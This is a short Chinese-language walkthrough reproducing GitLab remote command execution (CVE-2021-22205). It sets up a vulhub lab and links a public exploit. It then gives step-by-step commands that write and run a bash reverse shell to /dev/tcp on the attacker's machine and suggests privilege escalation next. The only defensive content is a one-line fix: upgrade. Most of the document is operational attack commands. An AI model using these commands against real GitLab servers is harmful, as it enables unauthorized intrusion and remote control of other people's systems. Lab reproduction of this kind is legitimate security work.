GitLab 远程命令执行
一、漏洞描述
GitLab 没有正确验证传递给文件解析器的图像文件,这导致远程命令执行,可执行系统命令。这是一个严重的问题。它现在在最新版本中得到缓解,漏洞编号CVE-2021-22205。
二、影响版本
11.9 <= GitLab(CE/EE)< 13.8.8
13.9 <= GitLab(CE/EE)< 13.9.6
13.10 <= GitLab(CE/EE)< 13.10.3
三、环境搭建
快速搭建,可以使用vulhub
git clone https://github.com/vulhub/vulhub.git
cd vulhub/gitlab/CVE-2021-22205/
docker-compose up -d
环境启动后,访问http://your-ip:8080即可查看到GitLab的登录页面
四、漏洞复现
4.1、下载EXP
https://github.com/Al1ex/CVE-2021-22205
4.2、检测漏洞是否存在
python exploit.py -v true -t 目标IP
4.3、命令执行
由于是内网环境,本地先起一个http服务
python -m http.server 6666
然后执行命令
4.4、反弹shell
#写入反弹shell脚本
python CVE-2021-22205.py -a true -t http://目标IP -c "echo 'bash -i >& /dev/tcp/本机地址/6666 0>&1' > /tmp/dp.sh"
#添加shell脚本执行权限
python CVE-2021-22205.py -a true -t http://目标IP -c "chmod +x /tmp/dp.sh"
开启监听
反弹shell
python CVE-2021-22205.py -a true -t http://目标IP -c "/bin/bash /tmp/dp.sh"
已经反弹回shell,由于权限不高可以尝试进行提权。
五、解决方案
更新至最新版本,新版本中已修复此漏洞。